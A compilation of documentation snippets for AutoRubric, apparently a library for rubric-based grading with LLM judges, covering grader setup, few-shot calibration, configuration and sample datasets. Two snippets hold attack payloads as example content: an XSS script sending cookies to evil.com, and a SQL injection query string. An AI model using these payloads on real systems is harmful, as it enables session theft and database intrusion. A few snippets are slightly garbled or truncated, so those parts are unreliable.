### Setup and Evaluation of Baseline and Calibrated Graders

Source: https://autorubric.org/docs/cookbook/few-shot-calibration

This code sets up a baseline grader without few-shot examples and a calibrated grader with 3 few-shot examples. It then evaluates both against test data, computes metrics, and prints a summary comparing accuracy and cost.

```python
# Baseline grader (no few-shot)
baseline_grader = CriterionGrader(
    llm_config=LLMConfig(model="openai/gpt-4.1-mini", temperature=0.0)
)

# Calibrated grader (3-shot)
calibrated_grader = CriterionGrader(
    llm_config=LLMConfig(model="openai/gpt-4.1-mini", temperature=0.0),
    training_data=train_data,
    few_shot_config=FewShotConfig(
        n_examples=3,
        balance_verdicts=True,
        seed=42
    )
)

print("\n" + "=" * 60)
print("EVALUATING BASELINE (no few-shot)")
print("=" * 60)

baseline_result = await evaluate(
    test_data, baseline_grader,
    show_progress=True,
    experiment_name="contract-baseline"
)
baseline_metrics = baseline_result.compute_metrics(test_data)

# criterion_accuracy / mean_kappa are `float | None`; guard before formatting.
def pct(x):
    return f"{x:.1%}" if x is not None else "n/a"

def num(x):
    return f"{x:.3f}" if x is not None else "n/a"

print(f"\nCriterion Accuracy: {pct(baseline_metrics.criterion_accuracy)}")
print(f"Cohen's Kappa: {num(baseline_metrics.mean_kappa)}")
print(f"Cost: ${baseline_result.total_completion_cost or 0:.4f}")

print("\n" + "=" * 60)
print("EVALUATING CALIBRATED (3-shot)")
print("=" * 60)

calibrated_result = await evaluate(
    test_data, calibrated_grader,
    show_progress=True,
    experiment_name="contract-calibrated"
)
calibrated_metrics = calibrated_result.compute_metrics(test_data)

print(f"\nCriterion Accuracy: {pct(calibrated_metrics.criterion_accuracy)}")
print(f"Cohen's Kappa: {num(calibrated_metrics.mean_kappa)}")
print(f"Cost: ${calibrated_result.total_completion_cost or 0:.4f}")

# Compare costs
print("\n" + "=" * 60)
print("SUMMARY")
print("=" * 60)

# criterion_accuracy is `float | None`; only diff when both sides are defined.
cal_acc = calibrated_metrics.criterion_accuracy
base_acc = baseline_metrics.criterion_accuracy
if cal_acc is not None and base_acc is not None:
    improvement = cal_acc - base_acc
    print(f"Accuracy improvement: +{improvement:.1%}")
else:
    print("Accuracy improvement: n/a (accuracy undefined for one or both runs)")
cost_increase = (calibrated_result.total_completion_cost or 0) - (baseline_result.total_completion_cost or 0)
print(f"Cost increase: ${cost_increase:.4f}")


if __name__ == "__main__":
    asyncio.run(main())

```

--------------------------------

### Multi-Choice Rubrics Example

Source: https://autorubric.org/docs/cookbook/multi-choice-rubrics

Demonstrates the setup and usage of multi-choice rubrics for evaluating restaurant reviews using AutoRubric. Includes sample reviews and rubric definitions.

```python
"""Multi-Choice Rubrics - Restaurant Review Evaluation"""

import asyncio
from autorubric import Rubric, Criterion, CriterionOption, LLMConfig
from autorubric.graders import CriterionGrader


# Sample restaurant reviews
REVIEWS = [
    {
        "text": """
Last night's dinner at Bistro Luna was exceptional. The pan-seared salmon
was perfectly cooked with a crispy skin and buttery interior. The accompanying
risotto was creamy without being heavy. Service was attentive but not intrusive -
our server knew the wine list well and made excellent pairing suggestions.
The ambiance was romantic with soft lighting and well-spaced tables.

Only minor issue: the dessert menu was limited. We opted for tiramisu which
was good but not memorable. Still, at $85 per person including wine, it's
excellent value for the quality.
""",
        "description": "Detailed positive review with minor criticism"
    },
    {
        "text": """
Meh. Food was okay I guess. Nothing special. Wouldn't go out of my way to
come back but wouldn't avoid it either.
""",
        "description": "Vague neutral review"
    },
    {
        "text": """
DO NOT EAT HERE!!! Waited 45 minutes for cold pasta. The waiter was rude
when I complained. Manager didn't care. $60 wasted. ZERO STARS.
""",
        "description": "Angry negative review"
    },
    {
        "text": """
The new tasting menu is a culinary journey worth taking. Chef Maria's
interpretation of classic French techniques with local ingredients creates
unexpected harmonies. The course progression - from delicate amuse-bouche
through robust mains to ethereal desserts - demonstrates masterful pacing.

Standouts: the deconstructed bouillabaisse, and the 36-hour braised short
rib. Wine pairings ($75 supplement) are thoughtfully curated.

Note: Vegetarian tasting menu available with advance notice.
""",
        "description": "Sophisticated positive review"
    },
    {
        "text": """
Great spot for brunch! The avocado toast was Instagram-worthy and actually
tasty. Bloody Marys are strong. Gets crowded on weekends so arrive early.
Parking is tricky - use the lot behind the building.
""",
        "description": "Casual helpful review"
    },
    {
        "text": """
I had high hopes based on reviews but was disappointed. The $40 steak was
overcooked despite ordering medium-rare. However, the appetizers (especially
the crab cakes) were excellent, and the cocktails creative. Mixed bag overall.
""",
        "description": "Mixed review with specific details"
    },
    {
        "text": """
Perfect for business dinners. Private rooms available, excellent wine list,
professional service. Food is solid upscale American - nothing risky but
reliably good. Expense account friendly.
""",
        "description": "Practical business-focused review"
    },
    {
        "text": """
GET 50% OFF YOUR FIRST ORDER WITH CODE FOODIE50! This restaurant is
AMAZING and you should definitely try their new app for exclusive deals!
Download now at...
""",
        "description": "Spam/promotional content"
    }
]

```

--------------------------------

### ImprovementRunner Example Usage

Source: https://autorubric.org/docs/api/meta-improvement

Example of how to instantiate and run the ImprovementRunner with custom LLM configurations for evaluation and revision.

```python
from autorubric import LLMConfig, Rubric
from autorubric.meta import ImprovementRunner, ImprovementConfig

config = ImprovementConfig(
    eval_llm=LLMConfig(model="gpt-4o"),
    revision_llm=LLMConfig(model="gpt-4o"),
)

rubric = Rubric()
runner = ImprovementRunner(rubric, "Your task prompt", config=config)
result = await runner.run()
```

--------------------------------

### Quick Example of LengthPenalty Configuration

Source: https://autorubric.org/docs/api/length-penalty

Demonstrates how to initialize a CriterionGrader with a LengthPenalty object, specifying parameters like free_budget, max_cap, and penalty_at_cap.

```python
from autorubric import Rubric, LLMConfig, LengthPenalty
from autorubric.graders import CriterionGrader

grader = CriterionGrader(
    llm_config=LLMConfig(model="openai/gpt-4.1-mini"),
    length_penalty=LengthPenalty(
        free_budget=6000,        # No penalty below this count
        max_cap=8000,            # Maximum penalty at/above this count
        penalty_at_cap=0.5,      # Max penalty to subtract from score
        exponent=1.6,            # Curve steepness
        penalty_type="ALL",      # "ALL", "OUTPUT_ONLY", "THINKING_ONLY"
    ),
)

result = await rubric.grade(to_grade=response, grader=grader)
```

--------------------------------

### Ensemble Judging Setup

Source: https://autorubric.org/docs/cookbook/ensemble-judging

Demonstrates the basic setup for ensemble judging using Autorubric, including defining LLM configurations and criterion graders.

```python
"""Ensemble Judging - Job Application Screening"""

import asyncio
from autorubric import Rubric, LLMConfig
from autorubric.graders import CriterionGrader, JudgeSpec


# Sample job application responses
APPLICATIONS = [
    {
        "query": "Why are you interested in this Senior Software Engineer position?",
        "response": ""
I've been a software engineer for 8 years, most recently leading a team at TechCorp
where we rebuilt the payment processing system handling $2M daily transactions. I
reduced processing latency by 40% through query optimization and caching strategies.


```

--------------------------------

### Few-Shot

Source: https://autorubric.org/docs/api

Calibration with labeled examples using `FewShotConfig` and `FewShotExample`.

```APIDOC
## Few-Shot

### Description
Enables calibration of models or rubrics using a few labeled examples.

### Key Exports
- `FewShotConfig`
- `FewShotExample`
```

--------------------------------

### TokenUsage Example Usage

Source: https://autorubric.org/docs/api/core-grading

Demonstrates how to instantiate and access token usage statistics. Ensure the TokenUsage class is imported before use.

```python
usage = TokenUsage(prompt_tokens=100, completion_tokens=50, total_tokens=150)
print(f"Total tokens: {usage.total_tokens}")
```

--------------------------------

### Define Experiment Configuration in YAML

Source: https://autorubric.org/docs/cookbook/configuration-management

Create a complete experiment configuration using YAML, specifying model parameters, rubric and dataset files, and evaluation settings. This file guides the experiment setup.

```yaml
# configs/experiments/paper_review_v2.yaml
name: paper-review-experiment-v2
description: "Evaluate peer review quality with improved rubric"

llm:
  model: openai/gpt-4.1-mini
  temperature: 0.0
  max_parallel_requests: 20

rubric_file: configs/rubrics/paper_review_v2.json
dataset_file: data/peer_reviews_2024.json

evaluation:
  fail_fast: false
  show_progress: true
  max_concurrent_items: 50

few_shot:
  n_examples: 3
  balance_verdicts: true


```

--------------------------------

### Quick Example: Evaluate LLM Response with AutoRubric

Source: https://autorubric.org/docs

This example demonstrates how to configure an LLM judge, define a rubric with weighted criteria, and grade a text response against a query. Ensure you have the necessary LLM provider configured.

```python
import asyncio
from autorubric import Rubric, LLMConfig
from autorubric.graders import CriterionGrader

async def main():
    # Configure LLM judge
    grader = CriterionGrader(llm_config=LLMConfig(model="openai/gpt-4.1-mini"))

    # Define evaluation rubric
    rubric = Rubric.from_dict([
        {"weight": 10.0, "requirement": "States the correct answer"},
        {"weight": 5.0, "requirement": "Provides clear explanation"},
        {"weight": -10.0, "requirement": "Contains factual errors"}
    ])

    # Grade a response
    result = await rubric.grade(
        to_grade="The answer is 42. This is derived from...",
        grader=grader,
        query="What is the answer to life, the universe, and everything?",
    )

    # result.score is `float | None` (None if the grade failed); guard before formatting.
    print(f"Score: {result.score:.2f}" if result.score is not None else "Score: n/a (grade failed)")
    for criterion in result.report:
        print(f"  [{criterion.final_verdict}] {criterion.criterion.requirement}")

asyncio.run(main())

```

--------------------------------

### Tune Few-Shot Example Count

Source: https://autorubric.org/docs/cookbook/few-shot-calibration

Experiment with different numbers of few-shot examples (1, 2, 3, 5) to evaluate their impact on accuracy, Kappa, and cost. This helps find the optimal balance for your specific use case.

```python
for n in [1, 2, 3, 5]:
    grader = CriterionGrader(
        llm_config=LLMConfig(model="openai/gpt-4.1-mini"),
        training_data=train_data,
        few_shot_config=FewShotConfig(n_examples=n, balance_verdicts=True)
    )

    result = await evaluate(test_data, grader, show_progress=False)
    metrics = result.compute_metrics(test_data)

    # criterion_accuracy / mean_kappa are `float | None`; render None as "n/a".
    acc = f"{metrics.criterion_accuracy:.1%}" if metrics.criterion_accuracy is not None else "n/a"
    kappa = f"{metrics.mean_kappa:.3f}" if metrics.mean_kappa is not None else "n/a"
    print(f"{n}-shot: Accuracy={acc}, "
          f"Kappa={kappa}, "
          f"Cost=${result.total_completion_cost or 0:.4f}")

```

--------------------------------

### Initialize CriterionGrader with Few-Shot Learning

Source: https://autorubric.org/docs/api/graders

Enhance grading accuracy by providing few-shot training examples. Configure the number of examples and whether to balance verdicts.

```python
# Single LLM + few-shot
grader = CriterionGrader(
    llm_config=LLMConfig(model="openai/gpt-4.1-mini"),
    training_data=train_data,
    few_shot_config=FewShotConfig(n_examples=3, balance_verdicts=True),
)
```

--------------------------------

### Basic LLMConfig Usage

Source: https://autorubric.org/docs/api/llm

Instantiate LLMConfig with a model identifier for basic LLM client setup.

```python
config = LLMConfig(model="openai/gpt-5.2")
```

--------------------------------

### FewShotConfig Dataclass Initialization

Source: https://autorubric.org/docs/api/few-shot

Instantiate the FewShotConfig dataclass to define parameters for few-shot example selection, including the number of examples, verdict balancing, and inclusion of reasons.

```python
FewShotConfig(n_examples: int = 3, balance_verdicts: bool = True, include_reason: bool = False, seed: int | None = None)

```

```python
config = FewShotConfig(
    n_examples=3,
    balance_verdicts=True,
    seed=42
)

```

--------------------------------

### Autorubric Setup for CANNOT_ASSESS Strategies

Source: https://autorubric.org/docs/cookbook/cannot-assess

Demonstrates how to set up Autorubric with different strategies for handling uncertain assessments, including SKIP, ZERO, PARTIAL, and FAIL. This setup is crucial for controlling how unassessable criteria affect the overall scoring.

```python
"""Handling Uncertain Assessments - RAG Response Evaluation"""

import asyncio
from autorubric import (
    Rubric,
    LLMConfig,
    CannotAssessConfig,
    CannotAssessStrategy,
    CriterionVerdict
)
from autorubric.graders import CriterionGrader


# Sample RAG responses with varying verifiability
RAG_RESPONSES = [
    {
        "query": "What are the latest statistics on renewable energy adoption?",
        "response": """
Renewable energy adoption has accelerated. According to the
International Energy Agency's 2024 report, global renewable capacity grew
by 50% compared to the previous year, the fastest growth rate in decades.
Solar alone added 420 GW, while wind contributed 117 GW.

Source: IEA Renewables 2024, pages 15-18
""",
        "description": "Well-sourced response with specific citations"
    },
    {
        "query": "Explain the causes of the 2008 financial crisis.",
        "response": """
The 2008 financial crisis resulted from multiple factors including subprime
mortgage lending, complex financial instruments like CDOs and MBS, inadequate
regulatory oversight, and excessive leverage by major financial institutions.
When housing prices declined, it triggered a cascade of defaults that spread
throughout the global financial system.
""",
        "description": "General knowledge, no specific sources"
    },
    {
        "query": "What is the current population of Tokyo?",
        "response": """
Tokyo's population is around 14 million in the city proper, though the
greater Tokyo metropolitan area has approximately 37 million residents,
making it the world's largest metropolitan area.
""",
        "description": "Common knowledge claim without citation"
    },
    {
        "query": "Summarize the findings from the Johnson et al. 2023 study on AI safety.",
        "response": """
The Johnson et al. 2023 study examined AI alignment techniques across 50
large language models. Key findings included that RLHF reduced harmful outputs
by 73% compared to base models, while constitutional AI methods showed a
65% improvement. The study recommended combining multiple techniques for
optimal safety outcomes.

Note: I cannot verify if this specific study exists as I don't have access
to the research database.
""",
        "description": "Fabricated citation acknowledged"
    },
    {
        "query": "What are the health benefits of green tea?",
        "response": """
Green tea contains catechins, particularly EGCG, which have antioxidant
properties. Research suggests potential benefits including improved
cardiovascular health, modest metabolic effects, and possible cognitive
benefits. However, clinical evidence varies in quality and specific health
claims should be verified with healthcare providers.
""",
        "description": "Balanced response with appropriate hedging"
    },
    {
        "query": "Explain quantum entanglement in simple terms.",
        "response": """
Quantum entanglement occurs when two particles become correlated such that
measuring one instantly affects the other, regardless of distance. Einstein
called it "spooky action at distance." When you measure the spin of one
entangled particle, you immediately know the spin of its partner.

This doesn't allow faster-than-light communication because you can't control
what measurement result you get - you only learn about the correlation
after comparing results.
""",
        "description": "Educational explanation without sources"
    }
]

```

--------------------------------

### Example usage of split_train_test

Source: https://autorubric.org/docs/api/dataset

Demonstrates how to load a dataset and then split it into training and testing sets with specified parameters.

```python
dataset = RubricDataset.from_file("data.json")
train, test = dataset.split_train_test(n_train=100, stratify=True, seed=42)
print(f"Train: {len(train)}, Test: {len(test)}")
```

--------------------------------

### Example Project Directory Structure

Source: https://autorubric.org/docs/cookbook/configuration-management

Organize your Autorubric evaluation project with dedicated directories for configurations, data, scripts, and experiment outputs. This structure promotes maintainability and clarity.

```text
project/
├── configs/
│   ├── llm/
│   │   ├── development.yaml
│   │   ├── staging.yaml
│   │   └── production.yaml
│   ├── rubrics/
│   │   ├── paper_review_v1.json
│   │   └── paper_review_v2.json
│   └── experiments/
│       ├── baseline.yaml
│       └── paper_review_v2.yaml
├── data/
│   ├── peer_reviews_2024.json
│   └── peer_reviews_labeled.json
├── experiments/
│   └── [auto-generated experiment directories]
├── scripts/
│   └── run_experiment.py
└── README.md


```

--------------------------------

### Example Usage of compute_metrics

Source: https://autorubric.org/docs/api/metrics

Demonstrates how to call compute_metrics after an evaluation and then print a summary or convert the results to a DataFrame. Ensure you have an 'evaluate' function and 'dataset' and 'grader' objects defined.

```python
result = await evaluate(dataset, grader)
metrics = result.compute_metrics(dataset)
print(metrics.summary())
df = metrics.to_dataframe()
```

--------------------------------

### Quick Example: LLM Configuration and Generation

Source: https://autorubric.org/docs/api/llm

Demonstrates how to configure the LLM client with specific parameters like model, temperature, and caching, and then use it for direct generation or via the `LLMClient`.

```python
from autorubric import LLMConfig, LLMClient, generate

# Configuration
config = LLMConfig(
    model="openai/gpt-4.1-mini",
    temperature=0.0,
    max_tokens=1024,
    cache_enabled=True,
    max_parallel_requests=10,
)

# Direct generation (standalone function)
result = await generate(
    system_prompt="You are a helpful assistant.",
    user_prompt="Explain quantum computing.",
    model="openai/gpt-4.1-mini",
)
print(result)

# Or use the client
client = LLMClient(config)
result = await client.generate(
    system_prompt="You are a helpful assistant.",
    user_prompt="Explain quantum computing.",
)

```

--------------------------------

### Format Failure Examples for Revision LLM

Source: https://autorubric.org/docs/cookbook/improving-agent-skills

Generates formatted sections detailing failing criteria and providing sample failure explanations. This is crucial for guiding an LLM in revising work.

```python
def format_failure_examples(graded, criteria, pass_rates, max_examples=3):
    sections = []
    failing = [
        (c.name, pass_rates[c.name])
        for c in criteria if pass_rates[c.name] < 0.7
    ]
    failing.sort(key=lambda x: x[1])

    for name, rate in failing[:5]:
        examples = []
        for g in graded:
            cr = g["per_criterion"][name]
            if cr["verdict"] == CriterionVerdict.UNMET.value and cr["reason"]:
                examples.append(f"  - Paper {g['paper_id']}: {cr['reason']}")
                if len(examples) >= max_examples:
                    break
        if examples:
            sections.append(
                f"**{name}** ({rate:.0%} pass rate):\n" + "\n".join(examples)
            )

    return "\n\n".join(sections) if sections else "No failing criteria."

```

--------------------------------

### Set Up API Key

Source: https://autorubric.org/docs/cookbook

Configure your environment variable with your API key for the desired LLM provider (OpenAI, Anthropic, or Gemini).

```bash
export OPENAI_API_KEY=your_key_here
# or
export ANTHROPIC_API_KEY=your_key_here
# or
export GEMINI_API_KEY=your_key_here

```

--------------------------------

### Main Function for Experiment Orchestration

Source: https://autorubric.org/docs/cookbook/configuration-management

Sets up the environment, loads LLM configuration, and initiates an experiment run using a specified configuration file. This function serves as the entry point for running experiments.

```python
async def main():
    # Create config structure
    create_config_structure()

    # Load config from environment
    env = os.getenv("EVAL_ENV", "development")
    print(f"\nEnvironment: {env}")

    # Load LLM config
    llm_config = LLMConfig.from_yaml(f"configs/llm/{env}.yaml")
    print(f"LLM Model: {llm_config.model}")

    # Run experiment from config file
    await run_experiment_from_config("configs/experiments/paper_review_v2.yaml")


if __name__ == "__main__":
    asyncio.run(main())

```

--------------------------------

### Configure and Use Few-Shot Grader

Source: https://autorubric.org/docs/api/few-shot

Load a dataset, split it for training, and configure a CriterionGrader with few-shot learning parameters. This setup is useful for calibrating LLM judges with a specified number of examples and balancing verdicts.

```python
from autorubric import LLMConfig, FewShotConfig, RubricDataset
from autorubric.graders import CriterionGrader

# Load dataset with ground truth
dataset = RubricDataset.from_file("labeled_data.json")

# Split into training (for few-shot) and test
train_data, test_data = dataset.split_train_test(n_train=100, stratify=True, seed=42)

# Configure few-shot grader
grader = CriterionGrader(
    llm_config=LLMConfig(model="openai/gpt-4.1-mini"),
    training_data=train_data,
    few_shot_config=FewShotConfig(
        n_examples=3,
        balance_verdicts=True,  # Balance examples across label classes (verdicts for binary, option indices for multi-choice)
        include_reason=True,
        seed=42,
    ),
)

# Grade with few-shot calibration
result = await rubric.grade(to_grade=response, grader=grader)

```

--------------------------------

### Create Product Dataset

Source: https://autorubric.org/docs/cookbook/synthetic-ground-truth

Initializes a dataset with product information, including descriptions and metadata. This forms the basis for synthetic ground truth generation.

```python
def create_product_dataset():
    items = [
        {
            "submission": "\nKeep drinks cold for 24 hours or hot for 12 hours with our\nvacuum-insulated design.\n\n- Food-grade 18/8 stainless steel\n- BPA-free, non-toxic materials\n- Leak-proof screw cap + flip straw lid included\n- Wide mouth for easy cleaning\n- Fits standard cup holders\n\nCare: Hand wash recommended\nWarranty: Lifetime against defects\n\nColors: Matte Black, Ocean Blue, Rose Gold, Forest Green
",
            "description": "Clean lifestyle product listing"
        },
        {
            "submission": "\ngaming chair. has wheels. you can sit on it. might be comfortable\nidk never tried it. pretty sure its a chair. could be wrong.\nRGB lights maybe?
",
            "description": "Vague unhelpful description"
        },
        {
            "submission": "\nProfessional Chef's Knife | 8-inch\n\nPrecision-forged from high-carbon German steel for the home cook\nwho demands professional performance.\n\nBlade: VG-10 steel, 67-layer Damascus pattern\nHardness: 60±2 HRC\nHandle: African blackwood with triple rivets\nBalance: Full tang construction\n\nIncludes: Magnetic blade guard, care guide, sharpening steel\n\nHand-sharpened in Japan | Lifetime resharpening service included
",
            "description": "Premium kitchen product listing"
        }
    ]

    dataset = create_dataset()
    for item in items:
        dataset.add_item(**item)

    return dataset
```

--------------------------------

### Revision User Prompt Template

Source: https://autorubric.org/docs/cookbook/improving-agent-skills

A template for the user prompt in the revision process. It includes placeholders for the current skill, rubric criteria, failure examples, and iteration history, guiding the LLM to revise the skill based on performance data.

```python
REVISION_USER_TEMPLATE = """\n## Current Skill (Iteration {iteration})\n\n{skill}\n\n## Rubric Criteria and Current Pass Rates\n\n{criteria_table}\n\n## Sample Failure Explanations\n\n{failure_examples}\n\n## Iteration History\n\n{history}\n\nRevise the skill to improve pass rates on failing criteria while maintaining \nperformance on passing criteria. Output only the revised skill text."""
```

--------------------------------

### Setting Up LLM Clients and Running Improvement Loop

Source: https://autorubric.org/docs/cookbook/improving-agent-skills

Initializes LLM clients with specific configurations for agent, evaluation, and revision tasks. It then executes an improvement loop and performs evaluations against a gold standard.

```python
agent_client = LLMClient(LLMConfig(
        model="groq/llama-3.1-8b-instant",
        temperature=0.7,
        max_parallel_requests=5,
    ))
    eval_grader = CriterionGrader(
        llm_config=LLMConfig(
            model="gemini/gemini-3-flash-preview",
            temperature=1.0,
            thinking="medium",
            max_parallel_requests=10,
        ),
        normalize=True,
    )
    revision_client = LLMClient(LLMConfig(
        model="gemini/gemini-3-flash-preview",
        temperature=1.0,
    ))

    iterations = await run_improvement_loop(
        rubric, papers, agent_client, eval_grader, revision_client,
    )

    # Evaluate curated skill for comparison
    gold_reviews = await generate_reviews(agent_client, GOLD_SKILL, papers)
    gold_graded = await grade_reviews(rubric, eval_grader, gold_reviews, papers)
    criteria_names = [c.name for c in rubric.rubric]
    gold_pass_rates = compute_pass_rates(gold_graded, criteria_names)
    gold_scores = [g["score"] for g in gold_graded if g["score"] is not None]
    gold_mean = sum(gold_scores) / len(gold_scores)

    output = {
        "v1_skill": V1_SKILL,
        "gold_skill": GOLD_SKILL,
        "iterations": iterations,
        "gold_comparison": {
            "mean_score": gold_mean,
            "pass_rates": gold_pass_rates,
        },
        "convergence_reason": "score_plateau"
        if len(iterations) < 5
        else "max_iterations",
        "elapsed_seconds": time.time() - start_time,
    }

    OUTPUT_PATH.parent.mkdir(parents=True, exist_ok=True)
    with open(OUTPUT_PATH, "w", encoding="utf-8") as f:
        json.dump(output, f, indent=2)

    print(f"V1 score:       {iterations[0]['mean_score']:.2f}")
    print(f"Improved score: {iterations[-1]['mean_score']:.2f}")
    print(f"Curated score:  {gold_mean:.2f}")


if __name__ == "__main__":
    asyncio.run(main())

```

--------------------------------

### LLMConfig with Explicit Token Budget

Source: https://autorubric.org/docs/api/llm

Illustrates enabling 'thinking' with a specific token budget in LLMConfig.

```python
from autorubric.llm import LLMConfig

config = LLMConfig(thinking_budget=1024)
print(config)
```

--------------------------------

### Install AutoRubric

Source: https://autorubric.org/docs/cookbook

Install the AutoRubric library using pip. Ensure you are using Python 3.11 or newer.

```bash
pip install autorubric

```

--------------------------------

### XSS Exploitation Example

Source: https://autorubric.org/docs/cookbook/extended-thinking

Provides an example of a malicious script that an attacker can submit as a comment to exploit the XSS vulnerability, aiming to steal cookies.

```javascript
<script>document.location='http://evil.com/steal?c='+document.cookie</script>
```

--------------------------------

### Team Workflow for Configuration Management

Source: https://autorubric.org/docs/cookbook/configuration-management

This example demonstrates a typical Git workflow for researchers collaborating on configurations, including creating branches, adding, committing, and pushing configuration changes.

```git
# Researcher A creates new rubric
git checkout -b feature/improved-rubric
# Edit configs/rubrics/paper_review_v3.json
git add configs/rubrics/paper_review_v3.json
git commit -m "Add paper review rubric v3 with methodology criteria"
git push

# Researcher B uses the rubric
git pull
python scripts/run_experiment.py --config configs/experiments/paper_review_v3.yaml

```

--------------------------------

### Format Failure Examples for Criteria

Source: https://autorubric.org/docs/cookbook/improving-agent-skills

Generates a formatted string of examples for criteria that have a pass rate below 70%. It includes up to `max_examples` per failing criterion.

```python
def format_failure_examples(graded, criteria, pass_rates, max_examples=3):
    sections = []
    failing = [
        (c.name, pass_rates[c.name])
        for c in criteria if pass_rates[c.name] < 0.7
    ]
    failing.sort(key=lambda x: x[1])
    for name, rate in failing[:5]:
        examples = []
        for g in graded:
            cr = g["per_criterion"][name]
            if cr["verdict"] == CriterionVerdict.UNMET.value and cr["reason"]:
                examples.append(f"  - Paper {g['paper_id']}: {cr['reason']}")
                if len(examples) >= max_examples:
                    break
        if examples:
            sections.append(
                f"**{name}** ({rate:.0%} pass rate):\n" + "\n".join(examples)
            )
    return "\n\n".join(sections) if sections else "No failing criteria."
```

--------------------------------

### SQL Injection Exploitation Example

Source: https://autorubric.org/docs/cookbook/extended-thinking

Shows an example of how an attacker can exploit the SQL injection vulnerability by injecting malicious SQL code into the query parameter.

```http
GET /api/users/search?q=' OR '1'='1' --
```

--------------------------------

### FewShotExample Dataclass Initialization

Source: https://autorubric.org/docs/api/few-shot

Create a FewShotExample instance to represent a single labeled example for criterion evaluation, including the submission content, ground truth verdict, and an optional reason.

```python
FewShotExample(submission: str, verdict: CriterionVerdict, reason: str | None = None)

```

```python
example = FewShotExample(
    submission="The Industrial Revolution began in Britainцій...",
    verdict=CriterionVerdict.MET,
    reason="Correctly identifies Britain as origin"
)

```

--------------------------------

### LLMConfig Basic Usage

Source: https://autorubric.org/docs/api/llm

Demonstrates basic usage of LLMConfig without enabling 'thinking'.

```python
from autorubric.llm import LLMConfig

config = LLMConfig()
print(config)
```

--------------------------------

### Skill Generation with LLMClient

Source: https://autorubric.org/docs/cookbook/improving-agent-skills

Use LLMClient.generate to create new skills by providing a system prompt for the skill and a user prompt for the abstract.

```python
LLMClient.generate(system_prompt=skill, user_prompt=abstract)
```

--------------------------------

### YAML Configuration for LLM

Source: https://autorubric.org/docs/api/llm

Shows how to define LLM configurations in a YAML file and load them into `LLMConfig` objects, as well as how to save configurations to a new YAML file.

```yaml
# llm_config.yaml
model: openai/gpt-4.1
temperature: 0.0
max_tokens: 1024
cache_enabled: true
cache_ttl: 3600


```

```python
config = LLMConfig.from_yaml("llm_config.yaml")
config.to_yaml("llm_config_backup.yaml")


```

--------------------------------

### Configure LLM Settings with LLMConfig

Source: https://autorubric.org/docs/quickstart

Set up LLM parameters such as model, temperature, token limits, rate limiting, and caching. Use this for fine-tuning LLM behavior.

```python
from autorubric import LLMConfig

config = LLMConfig(
    # Required
    model="openai/gpt-4.1-mini",

    # Sampling
    temperature=0.0,           # 0.0 = deterministic (default)
    max_tokens=1024,           # Maximum response tokens

    # Rate limiting
    max_parallel_requests=10,  # Concurrent requests per provider

    # Caching
    cache_enabled=True,        # Enable response caching
    cache_dir=".autorubric_cache",
    cache_ttl=3600,            # Cache TTL in seconds

    # Extended thinking (for complex evaluations)
    thinking="high",           # "low", "medium", "high", or token budget
)

```

--------------------------------

### Get Thinking Config from LLMConfig

Source: https://autorubric.org/docs/api/llm

Retrieves the ThinkingConfig object from an LLMConfig instance.

```python
from autorubric.llm import LLMConfig, ThinkingConfig, ThinkingLevel

config = LLMConfig(thinking_config=ThinkingConfig(level=ThinkingLevel.NORMAL, budget=1024))
tc = config.get_thinking_config()
print(tc)
```

--------------------------------

### Full Script for Dataset Creation and Evaluation

Source: https://autorubric.org/docs/cookbook/per-item-rubrics

This script demonstrates the complete workflow: creating a dataset, adding items with different rubric configurations, and evaluating submissions using a configured grader.

```python
import asyncio

# Assume Rubric, Criterion, CriterionOption, Dataset, CriterionGrader, LLMConfig, evaluate are imported

def create_coding_interview_dataset():
    # Placeholder for dataset creation logic
    # In a real scenario, this would return a populated Dataset object
    class MockCriterionOption:
        def __init__(self, label, value):
            self.label = label
            self.value = value

    class MockCriterion:
        def __init__(self, name, weight, requirement, scale_type=None, options=None):
            self.name = name
            self.weight = weight
            self.requirement = requirement
            self.scale_type = scale_type
            self.options = options or []

    class MockRubric:
        def __init__(self, rubric):
            self.rubric = rubric

    class MockItem:
        def __init__(self, submission, description, rubric=None):
            self.submission = submission
            self.description = description
            self.rubric = rubric

    class MockDataset:
        def __init__(self, name):
            self.name = name
            self._items = []
            self._global_rubric = None

        def add_item(self, submission, description, rubric=None):
            self._items.append(MockItem(submission, description, rubric))

        def __len__(self):
            return len(self._items)

        def __iter__(self):
            return iter(self._items)

        def get_item_rubric(self, index):
            item = self._items[index]
            return item.rubric if item.rubric else self._global_rubric

        def get_item_reference_submission(self, index):
            # Mock implementation
            return None

    dataset = MockDataset("Coding Interview Problems")

    # Problem 4: System design with multi-choice (custom)
    design_rubric = MockRubric([
        MockCriterion(
            name="architecture_quality",
            weight=15.0,
            requirement="Overall quality of system architecture",
            scale_type="ordinal",
            options=[
                MockCriterionOption(label="Poor - Missing key components", value=0.0),
                MockCriterionOption(label="Basic - Works but issues", value=0.4),
                MockCriterionOption(label="Good - Solid design", value=0.7),
                MockCriterionOption(label="Excellent - Production ready", value=1.0),
            ]
        ),
        MockCriterion(
            name="scalability",
            weight=10.0,
            requirement="Design scales to 10x current load"
        ),
        MockCriterion(
            name="fault_tolerance",
            weight=8.0,
            requirement="Handles component failures gracefully"
        ),
    ])

    dataset.add_item(
        submission="""
Design: URL Shortener

Components:
- Web servers behind load balancer
- Redis cache for hot URLs
- PostgreSQL for persistence
- Base62 encoding for short codes

Flow:
1. Generate unique ID (snowflake)
2. Encode as base62
3. Store mapping in DB
4. Cache popular URLs

Scale: Shard by hash of short code
""",
        description="System Design - URL Shortener",
        rubric=design_rubric,
    )

    # Problem 5: Simple string problem (global rubric)
    dataset.add_item(
        submission="""
def reverse_string(s):
    return ''.join(reversed(s))
""",
        description="String Reversal - Simple solution",
        # Uses global rubric
    )

    # Set a global rubric for demonstration
    dataset._global_rubric = MockRubric([
        MockCriterion("code_correctness", 10.0, "Code functions as expected."),
        MockCriterion("code_style", 5.0, "Code follows style guidelines.")
    ])

    return dataset


async def evaluate(dataset, grader, show_progress=False):
    # Mock evaluation function
    class MockVerdict:
        def __init__(self, value=None, selected_label=None):
            self.value = value
            self.selected_label = selected_label

    class MockReportItem:
        def __init__(self, criterion, final_verdict=None, final_multi_choice_verdict=None):
            self.criterion = criterion
            self.final_verdict = final_verdict
            self.final_multi_choice_verdict = final_multi_choice_verdict

    class MockReport:
        def __init__(self, report=None, score=None):
            self.report = report or []
            self.score = score

    class MockItemResult:
        def __init__(self, item, report):
            self.item = item
            self.report = report

    class MockResult:
        def __init__(self, item_results):
            self.item_results = item_results

    mock_item_results = []
    for idx, item in enumerate(dataset):
        effective_rubric = dataset.get_item_rubric(idx)
        # Simulate grading
        report_items = []
